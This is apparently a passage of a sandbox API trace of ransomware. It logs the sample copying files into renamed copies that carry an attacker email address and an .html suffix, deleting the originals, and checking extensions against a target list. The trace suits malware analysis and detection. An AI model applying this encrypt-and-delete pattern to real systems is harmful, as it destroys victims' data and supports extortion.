	[0077.910] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20
	[0077.910] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\system.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0077.910] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0077.910] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.910] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.910] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\system.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0077.911] GetLastError () returned 0x0
	[0077.911] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0078.104] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0078.122] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11010, lpOverlapped=0x0) returned 1
	[0078.131] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11020, lpOverlapped=0x0) returned 1
	[0078.135] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.135] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xea, lpOverlapped=0x0) returned 1
	[0078.135] SetEndOfFile (hFile=0x35c) returned 1
	[0078.309] CloseHandle (hObject=0x35c) returned 1
	[0078.333] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.333] SetEndOfFile (hFile=0x374) returned 1
	[0078.335] CloseHandle (hObject=0x374) returned 1
	[0078.335] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.335] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1
	[0078.335] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.335] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.335] lstrlenW (lpString=".doc") returned 4
	[0078.335] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.335] lstrlenW (lpString=".docx") returned 5
	[0078.335] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.336] lstrlenW (lpString=".pdf") returned 4
	[0078.336] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString=".xls") returned 4
	[0078.336] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString=".xlsx") returned 5
	[0078.336] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.336] lstrlenW (lpString=".ppt") returned 4
	[0078.336] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.336] lstrlenW (lpString=".zip") returned 4
	[0078.336] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString=".rar") returned 4
	[0078.336] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString=".bz2") returned 4
	[0078.336] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString=".7z") returned 3
	[0078.336] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.336] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.336] lstrlenW (lpString=".dbf") returned 4
	[0078.336] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.336] lstrlenW (lpString=".1cd") returned 4
	[0078.336] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.336] lstrlenW (lpString=".jpg") returned 4
	[0078.336] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.336] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.336] lstrlenW (lpString=".doc") returned 4
	[0078.336] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.336] lstrlenW (lpString=".docx") returned 5
	[0078.337] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.337] lstrlenW (lpString=".pdf") returned 4
	[0078.337] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString=".xls") returned 4
	[0078.337] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString=".xlsx") returned 5
	[0078.337] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.337] lstrlenW (lpString=".ppt") returned 4
	[0078.337] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.337] lstrlenW (lpString=".zip") returned 4
	[0078.337] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString=".rar") returned 4
	[0078.337] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString=".bz2") returned 4
	[0078.337] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString=".7z") returned 3
	[0078.337] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.337] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.337] lstrlenW (lpString=".dbf") returned 4
	[0078.337] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.337] lstrlenW (lpString=".1cd") returned 4
	[0078.337] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.337] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19
	[0078.337] lstrlenW (lpString=".jpg") returned 4
	[0078.337] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.337] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.338] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32
	[0078.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.338] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=19136) returned 1
	[0078.338] CloseHandle (hObject=0x374) returned 1
	[0078.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20
	[0078.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.338] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.338] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.339] GetLastError () returned 0x0
	[0078.339] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0078.341] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0078.342] ReadFile (in: hFile=0x374, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.342] WriteFile (in: hFile=0x35c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x114, lpOverlapped=0x0) returned 1
	[0078.342] SetEndOfFile (hFile=0x35c) returned 1
	[0078.343] CloseHandle (hObject=0x35c) returned 1
	[0078.344] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.344] SetEndOfFile (hFile=0x374) returned 1
	[0078.345] CloseHandle (hObject=0x374) returned 1
	[0078.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.345] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1
	[0078.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.345] lstrlenW (lpString=".doc") returned 4
	[0078.345] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.345] lstrlenW (lpString=".docx") returned 5
	[0078.345] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.345] lstrlenW (lpString=".pdf") returned 4
	[0078.345] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.345] lstrlenW (lpString=".xls") returned 4
	[0078.346] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.346] lstrlenW (lpString=".xlsx") returned 5
	[0078.346] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.346] lstrlenW (lpString=".ppt") returned 4
	[0078.346] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.346] lstrlenW (lpString=".zip") returned 4
	[0078.346] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.346] lstrlenW (lpString=".rar") returned 4
	[0078.346] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.346] lstrlenW (lpString=".bz2") returned 4
	[0078.346] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.346] lstrlenW (lpString=".7z") returned 3
	[0078.346] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.346] lstrlenW (lpString=".dbf") returned 4
	[0078.346] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.346] lstrlenW (lpString=".1cd") returned 4
	[0078.346] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.346] lstrlenW (lpString=".jpg") returned 4
	[0078.346] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.346] lstrlenW (lpString=".doc") returned 4
	[0078.346] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.346] lstrlenW (lpString=".docx") returned 5
	[0078.346] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.346] lstrlenW (lpString=".pdf") returned 4
	[0078.347] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.347] lstrlenW (lpString=".xls") returned 4
	[0078.347] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.347] lstrlenW (lpString=".xlsx") returned 5
	[0078.347] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.347] lstrlenW (lpString=".ppt") returned 4
	[0078.347] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.347] lstrlenW (lpString=".zip") returned 4
	[0078.347] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.347] lstrlenW (lpString=".rar") returned 4
	[0078.347] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.347] lstrlenW (lpString=".bz2") returned 4
	[0078.347] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.347] lstrlenW (lpString=".7z") returned 3
	[0078.347] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.347] lstrlenW (lpString=".dbf") returned 4
	[0078.347] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.347] lstrlenW (lpString=".1cd") returned 4
	[0078.347] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90
	[0078.347] lstrlenW (lpString=".jpg") returned 4
	[0078.347] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.347] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.348] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30
	[0078.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.533] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=27840) returned 1
	[0078.533] CloseHandle (hObject=0x2c0) returned 1
	[0078.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20
	[0078.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.545] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.546] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0078.576] GetLastError () returned 0x0
	[0078.576] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x6cc0, lpOverlapped=0x0) returned 1
	[0078.578] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x6cd0, lpOverlapped=0x0) returned 1
	[0078.579] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.579] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x110, lpOverlapped=0x0) returned 1
	[0078.579] SetEndOfFile (hFile=0x38c) returned 1
	[0078.579] CloseHandle (hObject=0x38c) returned 1
	[0078.581] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.581] SetEndOfFile (hFile=0x2c0) returned 1
	[0078.582] CloseHandle (hObject=0x2c0) returned 1
	[0078.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.582] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1
	[0078.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.583] lstrlenW (lpString=".doc") returned 4
	[0078.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.583] lstrlenW (lpString=".docx") returned 5
	[0078.583] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.583] lstrlenW (lpString=".pdf") returned 4
	[0078.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.583] lstrlenW (lpString=".xls") returned 4
	[0078.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.583] lstrlenW (lpString=".xlsx") returned 5
	[0078.583] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.583] lstrlenW (lpString=".ppt") returned 4
	[0078.583] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.583] lstrlenW (lpString=".zip") returned 4
	[0078.583] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.583] lstrlenW (lpString=".rar") returned 4
	[0078.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.583] lstrlenW (lpString=".bz2") returned 4
	[0078.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.583] lstrlenW (lpString=".7z") returned 3
	[0078.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.583] lstrlenW (lpString=".dbf") returned 4
	[0078.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.583] lstrlenW (lpString=".1cd") returned 4
	[0078.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.583] lstrlenW (lpString=".jpg") returned 4
	[0078.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.584] lstrlenW (lpString=".doc") returned 4
	[0078.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.584] lstrlenW (lpString=".docx") returned 5
	[0078.584] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.584] lstrlenW (lpString=".pdf") returned 4
	[0078.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.584] lstrlenW (lpString=".xls") returned 4
	[0078.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.584] lstrlenW (lpString=".xlsx") returned 5
	[0078.584] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.584] lstrlenW (lpString=".ppt") returned 4
	[0078.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.584] lstrlenW (lpString=".zip") returned 4
	[0078.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.584] lstrlenW (lpString=".rar") returned 4
	[0078.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.584] lstrlenW (lpString=".bz2") returned 4
	[0078.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.584] lstrlenW (lpString=".7z") returned 3
	[0078.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.584] lstrlenW (lpString=".dbf") returned 4
	[0078.584] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.584] lstrlenW (lpString=".1cd") returned 4
	[0078.584] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88
	[0078.584] lstrlenW (lpString=".jpg") returned 4
	[0078.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.585] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.585] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32
	[0078.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.585] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=24768) returned 1
